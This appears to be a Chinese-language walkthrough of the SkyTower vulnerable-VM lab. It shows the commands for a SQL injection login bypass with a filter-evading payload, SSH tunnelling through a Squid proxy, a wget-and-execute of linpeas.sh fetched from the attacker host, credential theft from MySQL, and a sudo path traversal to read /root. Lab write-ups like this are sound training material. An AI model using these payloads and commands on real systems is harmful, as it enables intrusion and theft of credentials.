nmap扫描端口---->万能密码登录web,拿到john的ssh密码----->通过代理连接ssh,得到john的shell---->linpeas.sh扫描发现mysql---->通过mysql得到其他用户ssh账户密码---->用sara用户登录并通过sudo命令提权(找到root的密码)
具体步骤 步骤1:nmap扫描sudo nmap -sS -A -p- 192.168.9.224
扫描到了22端口(ssh,但是状态是filtered,不一定能连接),80端口(http),3128(squid代理,不常见,可能有大用)
用以下命令扫描,没扫出有用的东西
nikto -host 192.168.9.224
dirb http://192.168.9.224/
步骤3:万能密码登录web,得到ssh用户名和密码
浏览器访问80端口:http://192.168.9.224/,看到一个登录页面
一般这种情况会想到试试默认用户名和弱口令,以及万能密码。
由于这边什么提示都没有,感觉万能密码应该比默认用户名+弱口令靠谱
试了以下e-mail框填 123‘ or 1=1#
返回sql语法报错,从报错信息可见,=显然被过滤了,但是还看不出来or有没有被过滤
再试试 e-mail框填 123‘ or
从报错信息可知or也被过滤了
后来我试了双写绕过,or的大写绕过,都不行。
在网上查找了sql注入等号的绕过方法(sql注入常见绕过技巧 - ctrl_TT豆 - 博客园)之后,
在 e-mail框填 1''2'#
其中表示不等于
成功登录 ,得到ssh用户名john,密码hereisjohn
我先尝试了直接ssh登录,完全没有反应,果然和nmap扫描结果出来之后的猜测一样。
由于nmap还扫描出了3128端口,是个squid代理,我猜测这边应该是需要通过代理来登录ssh。
之前完全没有接触过这方面的知识,只好跟着官网上的writeup学了一下如何通过代理进行ssh连接。
看到两种方法,一种是通过proxytunnel,另一种是通过proxychains
I Climbed the SkyTower, But No Rapunzel :( - FourFourFourFour
https://defsecurityjam.blogspot.com/2015/05/the-sky-tower-vulnerable-vm-walkthrough.html
(1)通过proxytunnel连接ssh先输入以下命令,该命令表示本地监听222端口,通过代理服务器192.168.9.224(靶机)的3128端口去访问192.168.9.224(靶机)的22端口
proxytunnel -p 192.168.9.224:3128 -d 127.0.0.1:22 -a 222
输入上述命令后,命令行终端就卡在那儿了,所以要再开一个命令行终端,输入如下命令,确认一下攻击机上的222端口已经开放
netstat -antp tcp | grep :222
接下来就可以进行ssh连接了
ssh john@127.0.0.1 -p 222
然而,连上的瞬间, 连接就断开了……
使用-t参数强制打开一个伪终端
ssh john@127.0.0.1 -p 222 -t "/bin/sh"
这种方法更简单点,不过kali需要proxychains。
首先修改proxychains的配置文件
sudo vim /etc/proxychains4.conf
代理改成靶机的3128端口
然后通过proxychains执行ssh命令,也是需要加-t参数
proxychains ssh john@192.168.9.224 -t "/bin/sh"
攻击机起http服务
python -m SimpleHTTPServer 80
到一个john有写权限的目录下,比如/home/john,执行如下命令,下载并执行linpeas.sh
wget http://192.168.9.10/linpeas.sh && chmod 777 linpeas.sh && ./linpeas.sh
执行结果中有在本地监听的3306端口
执行如下命令也能发现在本地监听的3306端口,并且可以确认是mysql
netstat -ant
netstat -at
在哪里找mysql的用户名和密码呢?想到登录时报sql语法错误,登录失败,以及登录成功的页面叫login.php,这个文件中应该会有连接数据库并查询的操作。
在/var/www/目录下找到 login.php ,幸运的是,这个文件是所有用户可读的
该文件内容中包含了mysql的用户名和密码(root : root)
登录mysql
mysql -u root -p
查看数据库所有表
mysql> show databases;
进入 SkyTech 数据库
mysql> use SkyTech;
查看数据库所有表
mysql> show tables;
查看login表所有内容
mysql> select * from login;
发现了另外两个用户sara和william的账号和密码
用sara用户登录,用户名是sara,密码是ihatethisjob(为啥不用william呢,因为用上一步中william的密码登录不上去)
proxychains ssh sara@192.168.9.224 -t "/bin/sh"
同样也是找个sara有写权限的目录,下载并执行linpeas.sh
执行结果有如下信息,意思是sara可以通过sudo命令以root身份执行
/bin/cat /accounts/*和/bin/ls /accounts/*命令
ls好像在本靶机没啥大用,但cat就有大用了
靶机登录界面提示 flag.txt在/root/目录下
sara用户本身是无法进入/root/目录的
但借助于这个/bin/cat /accounts/*,sara可以读取/root/flag.txt的内容
sudo cat /accounts/../root/flag.txt
root的密码是theskytower
ssh登录,用户名root,密码theskytower,得到root权限